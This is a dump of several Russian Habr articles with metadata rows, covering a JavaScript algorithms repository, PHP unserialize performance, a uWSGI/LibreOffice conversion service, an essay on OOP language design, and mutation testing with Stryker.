Привет Всем! Я недавно запустил на GitHub проект [JavaScript Algorithms and Data Structures](https://github.com/trekhleb/javascript-algorithms), который содержит примеры классических алгоритмов и структур данных написанных на JavaScript с объяснениями, примерами и ссылками для дальнейшего изучения (в частности на соответствующие YouTube видео).
Основная задача проекта — **помочь программистам в изучении и применении алгоритмов** и сделать это на JavaScript-е.
Для того, чтобы сделать процесс изучения более понятным я постарался добавить **графические иллюстрации** для каждого алгоритма и структуры данных, чтобы быстрее визуально понять о чем идет речь и как тот или иной алгоритм функционирует.
Так же в корневом README вы найдете **справочную информацию**, которая может пригодиться при изучении. Например:
* **Графики Big O нотации** (чтобы визуально быстро уловить разницу между `O(n!)` и `O(n^2)`)
* **Список с конкретными значениями Big O** (чтобы понимать насколько большое или маленькое значение у 10! (а оно у него аж 3628800))
* **Сложность выполнения базовых операций для структур данных** (чтобы понять у каких структур быстрое чтение, а у каких поиск или удаление)
* **Сравнительная таблица сложности алгоритмов сортировки** (чтобы понять какой способ сортировки выбрать и в каком случае, стабильная ли сортировка или нет)
**Весь код на 100% покрыт unit-тестами**. Это сделано не только для того, чтобы сохранять код в работоспособном состоянии, но так же и для того, чтобы проиллюстрировать методы и случаи употребления данного конкретного алгоритма или структуры данных (что делать, например, если граф направленный в одном из алгоритмов).
Репозиторий так же содержит **песочницу**. Это небольшой шаблон функции и пустого теста для нее, который должен помочь программисту сразу же приступить к экспериментам с алгоритмами, вместо того, чтобы создавать заново шаблонный код.
На данный момент в репозитории реализованы следующие **структуры данных**:
* Linked List
* Queue
* Stack
* Hash Table
* Heap
* Priority Queue
* Trie
* Tree (Binary Search Tree, AVL Tree)
* Graph (both directed and undirected)
* Disjoint Set
Дополнительно так же **реализованы более 50 популярных алгоритмов**. Среди которых есть алгоритмы сортировки, поиска, алгоритмы связанные с графами, деревьями, множествами, строками и математическими выкладками. Алгоритмы разделены на следующие группы:
* **Brute Force Algorithms** (перебор всех возможных комбинаций и выбор правильного решения)
* **Greedy Algorithms** (выбор оптимального решения на каждом текущем шаге)
* **Divide and Conquer Algorithms** (разделение проблемы на меньшие части и решение этих частей проблемы по-отдельности)
* **Dynamic Programming Algorithms** (построение решения на основании вычисленных ранее на предыдущих шагах данных)
* **Backtracking Algorithms** (перебор всех комбинаций (как и в Brute Force) с постоянной проверкой того, удовлетворяет ли текущее решение установленным ограничениям или нет, иначе — возврат на шаг назад)
Репозиторий [JavaScript Algorithms and Data Structures](https://github.com/trekhleb/javascript-algorithms) находится в активной разработке. Это значит, что там будут появляться новые имплементации алгоритмов и структур данных. Тем не менее, надеюсь уже сейчас этот репозиторий может быть вам полезен. Легкого кодинга! | https://habr.com/ru/post/359192/ | null | ru | null |
# Производительность функции unserialize
В PHP есть две замечательные функции serialize и unserialize. Первая преобразует в строку практически любой набор данных, вторая производит обратное преобразование. Эти функции удобно использовать при организации кеширования или хранения сессий в базе данных. Я обнаружил, что время работы функции unserialize может оказаться неожиданно большим.
Не буду описывать как и почему мне потребовалось сериализовать и десериализовать большой массив данных, гораздо интереснее посмотреть на то, что я обнаружил.
> `1. **php</b**
> 2. ini\_set('memory\_limit', '512M');
> 3. $file = '/tmp/1';
> 4. $data = range(1,2000000);
> 5.
> 6. echo "Test serialize\n";
> 7. $time0 = microtime(1);
> 8. file\_put\_contents($file, serialize($data));
> 9. $time1 = microtime(1);
> 10. unserialize(file\_get\_contents($file));
> 11. $time2 = microtime(1);
> 12.
> 13. $timeset = $time1-$time0;
> 14. $timeget = $time2-$time1;
> 15.
> 16. echo "Serialize set time $timeset get time $timeget\n";`
```
Test serialize
Serialize set time 1.35619807243 get time 31.1126699448
```
30 секунд на десериализацию! Этот результат меня просто шокировал. Для начала я проверил, что file\_get\_contents не влияет на результат выполнения. Затем посмотрел на производительность json\_encode и json\_decode (JSON set time 0.270335912704 get time 1.30652809143). «Всё страньше и страньше», подумал я и решил построить график зависимости времени работы функции unserialize от длины десериализуемого массива.
[](https://habrastorage.org/storage/habraeffect/02/30/0230cd09cf814c1757ec4e4f2016410a.png "Хабрэффект.ру")
На графике чётко видна квадратичная (!) зависимость времени выполнения функции от длины массива. Вот такая неожиданно медленная встроенная функция unserialize.
Ситуация, конечно, не критичная. Можно использовать другие способы сериализации и десериализации. Основная цель статьи — показать как зависит производительность функции unserialize от размера данных.
Исходные коды для проверки результатов можно взять по адресу [http://alexxz.ru/habr/unserialize\_benchmark.tar.gz](http://alexxz.ru/habr/unserialize_benchmark.tar.gz "Исходные коды для проверки результатов")
Используемый софт и железо PHP 5.3.2
Linux ubuntu 2.6.32–24-generic (10.4)
Intel® Core™2 CPU 6600 @ 2.40GHz
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
###### Текст подготовлен в [Редакторе Блогов](http://www.softcoder.ru/blogeditor/) от © SoftCoder.ru | https://habr.com/ru/post/104069/ | null | ru | null |
# Рецепты uWSGI: преобразование документов с использованием LibreOffice
Для приготовления преобразования документов нам понадобится [LibreOffice](https://www.libreoffice.org/), [uwsgi-python](http://projects.unbit.it/uwsgi/), [pylokit](https://github.com/xrmx/pylokit) и [webob](https://webob.org/). Можно также воспользоваться [готовым образом](https://hub.docker.com/r/rekgrpth/libreoffice). Но это только для запуска uWSGI-сервера, а для подключения к uWSGI-серверу будем использовать [nginx](https://nginx.org/).
Самое простое uWSGI-приложение на python состоит из функции application с двумя аргументами environ и start\_response
```
import os # импортируем
import pylokit # необходимые
import tempfile # нам
import webob # модули
office = pylokit.Office('/usr/lib/libreoffice/program') # загружаем библиотеку LibreOffice по указанному пути
def application(environ, start_response): # функция для uWSGI
request = webob.Request(environ) # получаем запрос из окружения
file = request.POST['file'] # файл для преобразования передаётся через multipart/form-data с именем file
filename, extension = os.path.splitext(file.filename) # получаем имя и расширение
with tempfile.NamedTemporaryFile(suffix=extension) as inp, tempfile.NamedTemporaryFile(suffix='.%s' % request.path.split('/')[-1]) as out: # создаём один временный файл с расширением переданного файла и другой временный файл с расширением из окончания запроса (для совместимости с unoconv-api)
inp.write(file.file.read()) # записываем содержимое переданного файла в первый временный файл
inp.flush() # (т.к. LibreOfficeKit почему-то работает только с файлами)
with office.documentLoad(inp.name) as doc: # загружаем переданный файл
doc.saveAs(out.name) # экспортируем загруженный файл в другой временный файл (формат берётся из расширения)
with open(out.name, 'rb') as out2: # открываем другой временный файл
response = webob.Response(body=out2.read()) # создаём результат из чтения другого временного файла
return response(environ, start_response) # и возвращаем его
```
Можно, конечно, ещё добавить обработку всяких ошибок.
Преобразование тестового одностраничного odt-файла в pdf делается примерно в 1,5 раза быстрее по сравнению с [unoconv-api](https://github.com/HeavyHorst/unoconv-api). | https://habr.com/ru/post/514220/ | null | ru | null |
# Проблема ООЯП: отсутствует чёткое и обязательное ядро объектно-ориентированного моделирования
Здравствуйте коллеги!
Хотелось бы поделиться мыслями об ООЯП и ООП в целом, а также что можно (и, как мне кажется, нужно) сделать на этой основе.
**Основные идеи:** *В современных ООЯП отсутствует чётко выделенное и обязательное ядро моделирования для создания абстракций, основанных только на "чистых" концепциях ООП. Концепция ООП "всё есть объект" не практична. Концепция обмена сообщениями жёстко связана с её реализацией.*
Под объектно-ориентированными языками программирования (ООЯП) понимаются Java и C#, хотя к другим ООЯП данная тема тоже может иметь отношение.
Я не пытаюсь начать очередную дискуссию о проблемах ООП или ООП vs ФП. Цель статьи – посмотреть на ООЯП и вообще языки программирования, и показать, что у языков есть свойства, которые могут быть полезными и для ООЯП. Современные ООЯП в той или иной мере доказали свою жизнеспособность, а результатом решения данного вопроса был бы *новый язык*.
Практически всё, о чём пойдёт речь, так или иначе уже используется на практике, но хотелось бы, чтобы это было частью языка, хотя бы как альтернатива. Но такой альтернативы в настоящее время, похоже, просто нет.
На мой взгляд, в ООЯП отсутствует обязательная часть – *ядро моделирования*, на котором можно декларативно и очень абстрактно описывать предметную область, основываясь только на чистых концепциях моделирования, в данном случае – на элементах декомпозиции ООП (коллабораторы, сообщения, данные).
В качестве примера языка, в котором есть такое ядро моделирования, можно привести Haskell: грязные функции ввода/вывода требуют специального синтаксиса и взаимодействуют с чистыми функциями через чёткий протокол. Чистые функции позволяют довольно абстрактно моделировать предметную область, основываясь на функциональном подходе. (Хотя даже в функциональных языках иногда приходится учитывать реализацию, как пример – использование хвостовой рекурсии и её оптимизация транслятором).
Причина, почему чисто функциональный язык имеет такое ядро, думаю, очевидна: функциональный подход по определению основан на *абстрактной* математической теории (лямбда исчисление). Причины же появления ООП, на мой взгляд, чисто практические и прикладные, поэтому в ООЯП так выпукло просматривается императивный фундамент.
Ядро моделирования ООЯП должно основываться только на элементах декомпозиции ООП. Синтаксис ядра моделирования должен быть очень простой, декларативный и абстрактный. Ничего, кроме определения "топологии" объектов/коллабораторов (кто с кем взаимодействует), семантики/имён сообщений и их параметров/возвращаемых значений в ядре моделирования быть не должно. Использование такого языка возможно только начиная с ядра моделирования, преобразуя затем модели в выходной код.
Из-за того, что в ООЯП смешаны конструкции как для описания объектов (классы, интерфейсы, методы и т.д.), так и для реализации императивного подхода, в ООЯП по сути заложено фундаментальное противоречие: одновременно нужно писать и абстрактные модели, и их конкретную императивную реализацию. Это противоречие и является, на мой взгляд, причиной ключевых пунктов критики ООП.
Помимо обеспечения императивного подхода, использование ресурсов в ООЯП также не отделено от абстрактных моделей. Ресурсами являются память и алгоритмы (в смысле последовательность инструкций). На мой взгляд, память и алгоритмы как ресурсы нужно привязывать к абстрактным моделям. В моделях императивность должна быть представлена крупными ключевыми шагами, основываясь на паттерне "шаблонный метод". Далее шаги из моделей преобразуются в фактический выходной код.
Вообще, как мне кажется, оператор `new` является признаком явного императивного подхода. Оператора `new` вообще не должно быть в ядре моделирования для определения объектов – объекты задаются декларативно. Существование объекта декларируется, а фактический способ создания будет уточняться позже. Более того, инстанцироваться может не сам объект, а прокси к удалённому объекту.
Другим примером проблемы является реализация самой концепции обмена сообщениями. Обмен сообщениями, как абстрактная концепция, в ООЯП жёстко задаётся языком и представлен в виде вызовов методов. Обмен сообщениями должен оставаться абстрактным в ядре моделирования и позже *проецироваться* в конкретный механизм обмена сообщениями, например, вызовы методов или проецироваться в какую-нибудь топологию распределённых акторов.
Ещё одна проблема, которая связана с отсутствием ядра моделирования, это null значение. Тут, по-моему, самая жуткая смесь. Значением null в ООЯП обозначают разные вещи, отсюда все проблемы. Допустим, что чистое ООП это *способ моделирования*, отдельно стоят *императивная реализация и ресурсы*, и ещё есть *модель данных*. Тогда суть проблемы в том, что *любой* объект требует ресурса "память" (что есть признак императивной реализации) и *null значение из императивной реализации присутствует во всех контекстах*. Модель данных сама по себе допускает null значение, но с этими null значениями меньше проблем, т.к. они ожидаемы и связанны с *данными*. В ядре моделирования null значения для объектов должны отсутствовать по определению, хотя null значения из модели данных допустимы.
Несколько слов о самих концепциях ООП. На мой взгляд, концепция "всё есть объект" *не практична*, хотя выглядит, конечно, очень логично. Думаю, практика всё-таки требует, что данные не сводятся к объектам, и основные понятия ООП я бы определил как *сообщения/коллабораторы/данные*. Модель данных (например, реляционная) должна быть в явном виде. Моделирование предметной области заключается в представлении её в виде группы объектов (коллабораторов), которые обмениваются сообщениями. Аргументами сообщений являются данные. Это и есть основа ядра моделирования. "Всё есть объект" – это сверх-обобщение, когда теряется важная специфика базовых понятий, и они начинают выглядеть одинаково, хотя фундаментально их нужно различать.
### Заключение
ООП – это способ моделирования (декомпозиция и определение абстракций), его нужно отделять от императивной реализации, управления ресурсами и модели данных. Современные ООЯП смешивают все эти понятия, и проблема решается за рамками языков, через применение принципов проектирования, паттернов, идиом, соглашений и пр.
Альтернативное решение мне видится в новом языке, построенном по аналогии с функциональными языками. "По аналогии" означает, что у нового языка будет такое же свойство, как и у функциональных: чистое и обязательное ядро моделирования.
В качестве примера похожей идеи приведу проект объектно-ориентированно языка [eolang](http://eolang.org) Егора Бугаенко. (*Это не реклама Егора и его проекта, на момент написания статьи я не знаком с Егором лично, не имел с ним ни чатов, ни переписки, не являюсь контрибютором его проектов*). То, что происходит в рамках проекта eolang, в целом поддерживаю, хотя в деталях очень много вопросов и несогласий. Тем не менее, в eolang происходит на мой взгляд то, о чём шла речь выше: из Java убрали целый набор императивных и процедурных конструкций и механизмов. Как раз удаление императивных и процедурных элементов и есть попытка выделить чистое ядро моделирования ООП. | https://habr.com/ru/post/321738/ | null | ru | null |
# Мутационный анализ, или как тестировать тесты
Тестов много не бывает — это все знают. Мемы про unit и интеграционное тестирование уже не очень-то веселят. А мы по-прежнему не знаем, можно ли полагаться на результаты прохождения тестов, и какой процент покрытия позволит не пустить баги в продакшен. Если фатальные изменения в коде проскакивают тесты, не оказывая влияния на их результат, то решение напрашивается само — надо тестировать тесты!
О подходе к автоматизации этой задачи и был доклад Марка Лангового на [Frontend Conf](http://frontendconf.ru/). Видео и статья короткие, а идеи очень рабочие — надо брать на заметку.
**О спикере:** Марк Ланговой ([marklangovoi](https://habr.com/ru/users/marklangovoi/)) работает в Яндексе в проекте [Яндекс.Толока](https://habr.com/company/yandex/blog/305956/). Это краудсорсинговая площадка для быстрой разметки большого количества данных. Заказчики загружают данные, которые, например, нужно подготовить для использования в алгоритмах машинного обучения, и назначают цену, а другая сторона — исполнители могут выполнять задания и зарабатывать.
В свободное от работы время Марк развивает Краснодарское сообщество разработчиков Krasnodar Dev Days — одно из 19 [IT-сообществ](http://frontendconf.ru/frontendconf/moscow/2018/communities.html), активистов которых мы пригласили на Frontend Conf в Москву.
Тестирование
------------
Существуют разные виды автоматизированного тестирования.
В ходе популярного **модульного тестирования** мы пишем тесты на маленькие части (модули) приложения. Они просты в написании, но иногда во время интеграции с другими модулями могут вести себя не совсем так, как мы ожидали.
Чтобы избежать этого, мы можем писать **интеграционные тесты**, которые будут проверять работу наших модулей совместно.
Они немного сложнее, поэтому сегодня мы остановимся на модульном тестировании.
Модульное тестирование
----------------------
Любой проект, который хочет хоть какой-то минимальной стабильности, занимается написанием модульных тестов.
Рассмотрим пример.
```
class Signal {
on(callback) { ... }
off(callback) {
const callbackIndex = this.listeners.indexOf(callback);
if (callbackIndex === -1) {
return;
}
this.listeners = [
...this.listeners.slice(0, callbackIndex - 1),
...this.listeners.slice(callbackIndex)
];
}
trigger() { ... }
}
```
Есть класс Signal — это Event Emitter, у которого есть метод on для подписки и метод off для удаления подписки — проверяем, если callback содержится в массиве подписчиков, то удаляем. И, конечно, есть метод trigger, который будет вызывать подписанные callback.
У нас есть простой тест для этого примера, который вызывает методы on и off, а затем trigger, для того чтобы проверить, что callback не вызвался после отписки.
```
test(’off method should remove listener', () => {
const signal = new Signal();
let wasCalled = false;
const callback = () => {
wasCalled = true;
};
signal.on(callback);
signal.off(callback);
signal.trigger();
expect(wasCalled).toBeFalsy();
});
```
### Критерии оценки качества
Какие есть критерии оценки качество такого теста?
**Code coverage** — самый популярный и всем известный критерий, который показывает, сколько процентов строк кода были исполнены при запуске теста.
У вас может быть 70%, 80% или все 90% Code coverage, но значит ли это, что, когда вы соберете очередной билд для продакшена, все будет хорошо, или что-то может пойти не так?
Вернемся к нашему примеру.
Вечер пятницы, ты устал, заканчиваешь очередную фичу. И тут натыкаешься на этот код, который написал твой коллега. Тебе что-то в нем показалось сложным и страшным.
```
...this.listeners.slice(0, callbackIndex - 1),
...this.listeners.slice(callbackIndex)
```
Ты решил, что наверное можно просто очищать массив:
```
class Signal {
...
off(callback) {
const callbackIndex = this.listeners.indexOf(callback);
if (callbackIndex === -1) {
return;
}
this.listeners = [];
}
...
}
```
Сделал коммит, собрал проект и отправил в продакшен. Тесты прошли — почему бы и нет? И пошел отдыхать в бар.
Но вдруг поздно ночью звонок, в трубку кричат, что все падает, люди не могу пользоваться продуктом, и вообще — бизнес теряет деньги! Ты горишь, тебе грозит увольнение.
Как с этим быть? Что делать с тестами? Как отлавливать такие примитивные глупые ошибки? Кто же будет тестировать тесты?
Конечно, можно нанять армию QA-инженеров — пусть сидят и просто клацают наше приложение.
Или нанять QA-автоматизаторов. На них можно свалить работу по написанию тестов — зачем писать самим, если для этого есть специальные люди?
Но на самом деле это дорого, поэтому мы сегодня поговорим про мутационный анализ или мутационное тестирование.
Мутационное тестирование
------------------------
Это способ автоматизировать процесс тестирования наших тестов. Его цель — выявление неэффективных и неполных тестов, то есть, по сути, это **тестирование тестов**.
Идея состоит в том, чтобы изменять куски кода, запускать на них тесты, и, если тесты не упали, значит, они неполные.
Изменения вносятся с помощью определенных операций — **мутаторов**. Они заменяют, например, плюс на минус, умножить на разделить, и прочие подобные операции. Мутаторы могут менять куски кода, заменять условия в while, обнулять массивы вместо добавления в массив какого-то элемента.
В результате применения мутаций на исходный код, он мутирует и становится **мутантом**.
Мутанты делятся на две категории:
1. **Убитые** — те, в которых мы смогли выявить отклонения, то есть на которых хотя бы один тест упал.
2. **Выжившие** — те самые, которые убежали от нас, и донесли баг до продакшена.
Для оценки качества есть метрика **MSI (Mutation Score Indicator)** — процентное отношение между убитыми и выжившими мутантами. Чем больше разница между покрытием кода тестами и MSI, тем хуже отражает актуальность наших тестов процент покрытия кода.
Это было немножко теории, а теперь рассмотрим, как это можно использоваться в JavaScript.
### Решение для JavaScript
В JavaScript существует только один активно развивающийся инструмент мутационного тестирования — это [Stryker](https://stryker-mutator.io/). Такое название инструмент получил в честь персонажа X-man Уильяма Страйкера — создателя «Оружия X» и борца со всеми мутантами.
Stryker не является test runner, как Karma или Jest; также он не является framework’ом для тестов, как Mocha или Jasmine. Это framework для мутационного тестирования, который дополняет вашу текущую инфраструктуру.
### Система плагинов
Stryker очень гибкий, полностью построен на системе плагинов, большинство из которых написаны разработчиками Stryker’a.
Существуют плагины для запуска тестов на Jest, Karma и Mocha. Есть интеграция с фреймворками Mocha (stryker-mocha-framework) Jasmine (stryker-jasmine) и готовые наборы мутаторов для JavaScript, TypeScript и даже для Vue:
* stryker-javascript-mutator;
* stryker-typescript;
* stryker-vue-mutator.
Мутаторы для React входят в stryker-javascript-mutator. Помимо этого, вы всегда можете написать свои мутаторы.
Если код нужно преобразовать перед запуском, можно использовать плагины для Webpack, Babel или TypeScript.
Настраивается это все относительно просто.
### Конфигурация
Конфигурирование не составит большого труда: вам только нужно указать в JSON-конфиге, какой test runner (и/или test framework, и/или transpiler) вы используете, а также установить соответствующие плагины из npm.
Простая консольная утилита **stryker-cli** может все это сделать за вас в режиме вопрос-ответ. Она спросит вас, что вы используете, и сформирует конфигурацию самостоятельно.
### Как это работает
Жизненный цикл прост и состоит из следующих шагов:
* Чтение и анализ конфига. Stryker загружает конфиг и анализирует его на различные плагины, настройки, исключение файлов и т.д.
* Загрузка плагинов согласно конфигу.
* Запуск тестов на исходном коде для того, чтобы проверить, актуальны ли сейчас тесты (вдруг они уже сломаны).
* Если все хорошо, генерируется набор мутантов по файлам, которые мы разрешили мутировать.
* Запуск тестов на мутантах.
Выше пример запуска Stryker:
* Stryker запускается;
* считывает конфиг;
* подгружает нужные зависимости;
* находит файлы, которые будет мутировать;
* запускает тесты на исходном коде;
* создает 152 мутанта;
* запускает тесты в 8 потоков (в данном случае на базе количества ядер CPU).
Это все не быстрый процесс, поэтому лучше его делать на каких-нибудь CI/CD серверах.
После прохождения всех тестов Stryker дает краткий отчет по файлам с количеством созданных, убитых и выживших мутантов, а также процент соотношения убитых мутантов к выжившим (MSI) и мутаторы, которые были применены.
Это и есть потенциально возможные проблемы, которые не предусмотрели в наших тестах.
### Подытожим
**Мутационное тестирование полезно и интересно**. Оно может найти проблемы на ранних стадиях тестирования, причем без участия людей. Оно сократит время на проверку pull request, например, за счет того, что квалифицированным разработчикам не нужно будет тратить время на проверку pull request, в котором уже есть потенциальные проблемы. Или спасет продакшен, если вы решите подготовить новый релиз в пятницу вечером.
Stryker — гибкий многопоточный инструмент для мутационного тестирования. Он активно развивается, но пока сыроват, до сих пор не дошел до мажорной версии. Например, за период подготовки этого доклада, его разработчики наконец сделали в плагине для Babel возможность указать файл конфигурации и починили Jest-интеграцию. Это OpenSource [проект](https://github.com/stryker-mutator), которому можно помочь развиваться.
**Вопросы-ответы**
*— Как тестировать мутационные тесты? Наверняка, тоже есть погрешность. В первом примере с модульным тестированием было покрытие 90%. Казалось бы, все хорошо, но все равно проскакивали кейсы, когда все падало и было в огне. Соответственно, почему должно появиться ощущение того, что все хорошо, после покрытия еще этих тестов мутационными?*
— Я не говорю, что мутационное тестирование — это серебряная пуля и все вылечит. Естественно, могут быть какие-то пограничные безумные случаи или отсутствие какого-то мутатора. В первую очередь легко отлавливаются типичные ошибки. Например, ставишь проверку на возраст, поставил ее <18 (нужно было <=), а в тесте забыл сделать проверку пограничного случая. У тебя выполнилось другое сравнение мутатором, и в итоге тест упал (или не упал), и ты понимаешь, что все хорошо или все плохо. Такие вещи быстро отлавливаются. Это способ просто дописать тесты правильно, найти упущенные моменты.
*— Часто у тебя происходит ситуация «задеплоил и ушел»? Я считаю, что это неверно.*
— Нет, но я думаю, что в многих проектах подобные вещи все-таки существуют. Естественно, это неверно. Многие считают, что Code coverage помогает все проверить, можно спокойно уйти и не переживать — но это не так.
*— Сразу скажу, в чем проблема. У нас куча всяких редьюсеров и прочего, что мы мутационно тестируем, и их очень много. Это все разрастается, и получается, что на каждый pull request запускается мутационное тестирование, которое занимает много времени. Есть ли возможность запуска только на то, что изменилось?*
— Думаю, это можно настроить самому. Например, на стороне разработчика, когда он пушит, комитит, можно сделать [lint-staged](https://github.com/okonet/lint-staged) плагин, который будет прогонять только те файлы, которые изменились. На CI/CD тоже такое возможно. В нашем случае проект очень большой и старый, и мы практикуем точечную проверку. Мы не проверяем все, потому что это займет неделю, будут сотни тысяч мутаций. Я бы рекомендовал делать точечные проверки, либо самому организовывать выборочный процесс запуска. Готового инструмента для такой интеграции я не видел.
*— Обеспечивается ли полнота всех возможных мутаций для конкретного фрагмента кода? Если нет, то, как именно выбираются мутации?*
— Лично не проверял, но и проблем с этим не встречал. Stryker должен генерировать все возможные мутации на один и тот же фрагмент кода.
*— Хочу спросить по поводу snapshot’ов. У меня unit-тест тестирует и логику, и, в том числе, верстку snapshot react-компонента. Естественно, если я любую логическую конструкцию изменю, у меня тут же поменяется верстка. Это ожидаемое поведение, разве не так?*
— Да, в этом их смысл, что ты сам вручную snapshot’ы обновляешь.
*— То есть ты snapshot’ы как-то игнорируешь в этом репорте?*
— Скорее всего, snapshot’ы нужно заранее обновить, а потом запустить мутационное тестирование, иначе будет куча мусора от Stryker.
*— Вопрос по поводу CI-серверов. Для просто unit-тестов есть reporter’ы — под GitLab, под все, что угодно, которые выводят процент успешного прохождения тестов, и ты можешь настроить — фейлить или не фейлить. А что у Stryker? Он просто выводит табличку в консоль, но что дальше с ней делать?*
— У них есть HTML-reporter, можно сделать свои reporter’ы — все гибко настраивается. Возможно, есть какие-то конкретные инструменты, но так как мы пока занимаемся точечным мутационным тестированием, я не находил конкретных интеграций с TeamCity и подобными инструментами CI/CD.
*— Насколько мутационные тесты увеличивают поддержку вообще тестов, которые у тебя есть? То есть тесты — это боль, и тесты надо переписывать, когда код переписывается, и пр. Иногда проще код переписать, чем тесты. А тут я еще и мутационные тесты. Насколько это дорого для бизнеса?*
— Сначала я, наверное, поправлю, что переписывать код ради тестов — это неправильно. Код должен быть легко тестируемым. Насчет того, что нужно дописывать — это опять же для бизнеса важно, чтобы тесты были максимально полны и эффективны. Если они не полные, это значит, что может возникнуть баг, который принесет потери. Естественно, можно тестировать только самые важные для бизнеса части.
*— Все же — насколько становится дороже, когда появляются мутационные тесты, чем если бы их не было.*
— Это дороже настолько, насколько плохие тесты сейчас. Если сейчас тесты написаны плохо, то придется много дописывать. Мутационное тестирование будет находить случаи, которые не покрыты тестами.
*— На слайде с результатами проверки Stryker много ворнингов, они критические или не критические. Как обрабатывать ложные срабатывания?*
— Тонкий вопрос — что считать ложным. Я спрашивал ребят у нас в команде, что у них выпадало интересного из таких ошибок. Было пример насчет текста ошибки. Stryker выдал, что тесты не отреагировали на то, что текст ошибки изменился. Вроде бы, косяк, но минорный.
*— То есть вы такие ошибки видите и пропускаете некритичные в ручном режиме?*
— У нас точечная проверка, поэтому да.
*— У меня практический вопрос. Когда вы это внедрили, какой процент тестов у вас повалился?*
— Мы не внедряли на всем проекте, но на новом проекте находились мелкие проблемы. Поэтому не могу сказать точных цифр, но в целом подход однозначно улучшил ситуацию.
> Другие, такие же полезные, выступления по фронтенду смотрите на нашем [youtube-канале](https://www.youtube.com/c/FrontendChannel), туда постепенно попадают все тематические доклады со всех наших конференций. Или подпишитесь на [рассылку](http://eepurl.com/bb99tn), и мы будем держать вас в курсе всех новых материалов и новостей будущих конференций. | https://habr.com/ru/post/421141/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.